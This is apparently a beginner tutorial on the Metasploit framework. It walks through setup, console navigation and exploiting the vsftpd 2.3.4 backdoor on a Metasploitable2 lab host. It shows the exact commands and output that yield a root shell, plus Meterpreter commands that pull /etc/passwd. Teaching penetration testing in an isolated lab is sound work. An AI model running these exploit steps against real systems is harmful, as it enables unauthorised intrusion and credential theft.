Metasploit for Beginners: Your First Shell

Metasploit is the most widely used penetration testing framework in the world. It’s also the most misunderstood tool beginners pick up. The common mistake is expecting it to be an “auto-hack button” – point it at a target and get a shell. The reality is that Metasploit is a framework for organising, configuring, and delivering exploits systematically. The skill is knowing which exploit to use for which target – and that knowledge comes from your Nmap reconnaissance.

This is Part 1 of a two-part series, covering setup, navigation, and your first shell. Part 2 covers Meterpreter in depth, auxiliary modules, msfvenom payload generation, post-exploitation, and pivoting.

All examples use Metasploitable2 on an isolated private network. Never use Metasploit against systems you don’t own or have explicit written permission to test.

Starting Metasploit and the Database

Metasploit is pre-installed on Kali Linux. It uses PostgreSQL to store host, service, and session data across engagements. Start the database before launching msfconsole.

# Start the database service
sudo systemctl start postgresql

# Initialise the database (first time only)
sudo msfdb init

# Launch msfconsole
sudo msfconsole

# Verify the database connection
msf6 > db_status
# [*] Connected to msf. Connection type: postgresql.

If you need to install or update:

sudo apt update && sudo apt install metasploit-framework -y

Navigating msfconsole

The msf6 > prompt is where you spend most of your time. The core commands you’ll use constantly:

# Search for modules by name, CVE, or type
msf6 > search vsftpd
msf6 > search type:exploit platform:linux smb
msf6 > search cve:2017-0144

# Get detailed information about a module
msf6 > info exploit/unix/ftp/vsftpd_234_backdoor

# Select a module
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

# Show required options
msf6 (exploit/unix/ftp/vsftpd_234_backdoor) > show options

# Step back to the main prompt
msf6 (exploit/unix/ftp/vsftpd_234_backdoor) > back

The Module Taxonomy

Everything in Metasploit is a module, organised into types. Understanding what each type does stops you from looking in the wrong place.

• Exploits – Code that takes advantage of a specific vulnerability to gain access
• Auxiliary – Scanners, fuzzers, brute-forcers, and sniffers. No payload – these gather information rather than exploit it
• Payloads – Code that runs on the target after exploitation: shells, Meterpreter sessions
• Post – Post-exploitation modules that run after you have an active session
• Encoders – Obfuscate payloads to help evade signature-based detection

Understanding Payloads

Payloads come in two main forms you’ll encounter as a beginner:

• Singles – Self-contained, do one thing (e.g. open a shell, add a user). Small and reliable.
• Staged – A small stager establishes the connection, then downloads a larger stage. Meterpreter works this way. The naming convention makes it clear: linux/x86/meterpreter/reverse_tcp is staged; linux/x86/shell_reverse_tcp is a single.

For most beginner work, a plain reverse shell or Meterpreter session is all you need. Meterpreter is covered in depth in Part 2.

Importing Nmap Results

If you ran Nmap with -oX or -oA, you can import the XML output directly into Metasploit’s database. This populates the hosts and services tables so you’re not manually re-entering target information.

msf6 > db_import /tmp/scan-results.xml
msf6 > hosts
msf6 > services
msf6 > services -p 21,22,80,445

A Worked Example: vsftpd 2.3.4 Backdoor

Metasploitable2 runs vsftpd 2.3.4, which contains a backdoor introduced into the source code in 2011. Sending a smiley face (:)) in the username field triggers the backdoor and opens a root shell on port 6200. Metasploit automates the entire thing.

Your Nmap scan will have shown vsftpd 2.3.4 on port 21. That version number is all you need.

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 (...) > show options
msf6 (...) > set RHOSTS 192.168.56.101
msf6 (...) > run

# [*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)
# [+] 192.168.56.101:21 - Backdoor service has been spawned, handling...
# [+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root)
# [*] Command shell session 1 opened

You’re now in a root shell on the target. This is a command shell – functional but limited. Part 2 covers upgrading this to a Meterpreter session for a much richer post-exploitation environment.

Working with Sessions

Metasploit tracks all your active connections as sessions.

# List all active sessions
msf6 > sessions

# Interact with a session
msf6 > sessions -i 1

# Background the current session (return to msf6 prompt without closing it)
# Press Ctrl+Z, or in Meterpreter:
meterpreter > background

# Kill a session
msf6 > sessions -k 1

# Upgrade a plain shell to Meterpreter
msf6 > sessions -u 1

Basic Meterpreter Commands

If your exploit delivers a Meterpreter payload (set with set PAYLOAD linux/x86/meterpreter/reverse_tcp before running), you’ll land in a Meterpreter session rather than a plain shell. The most useful commands to know at this stage:

meterpreter > sysinfo          # OS and hostname
meterpreter > getuid           # Current user
meterpreter > pwd              # Current directory
meterpreter > ls               # List directory contents
meterpreter > download /etc/passwd /tmp/   # Pull a file
meterpreter > shell            # Drop into a system shell

Meterpreter’s full capabilities – credential dumping, pivoting, privilege escalation, keylogging, and more – are covered in Part 2 of this series.

What’s Next

You’ve got setup, navigation, and your first shell. Part 2 covers the techniques that turn a basic shell into a full compromise: Meterpreter in depth, auxiliary modules for enumeration, msfvenom for standalone payloads, post-exploitation modules, pivoting into internal networks, and managing multiple engagements with workspaces.

All examples use Metasploitable2 on an isolated private network. Never use Metasploit against systems you don’t own or have explicit written permission to test. Unauthorised computer access is a criminal offence under the Computer Misuse Act 1990 and equivalent legislation worldwide.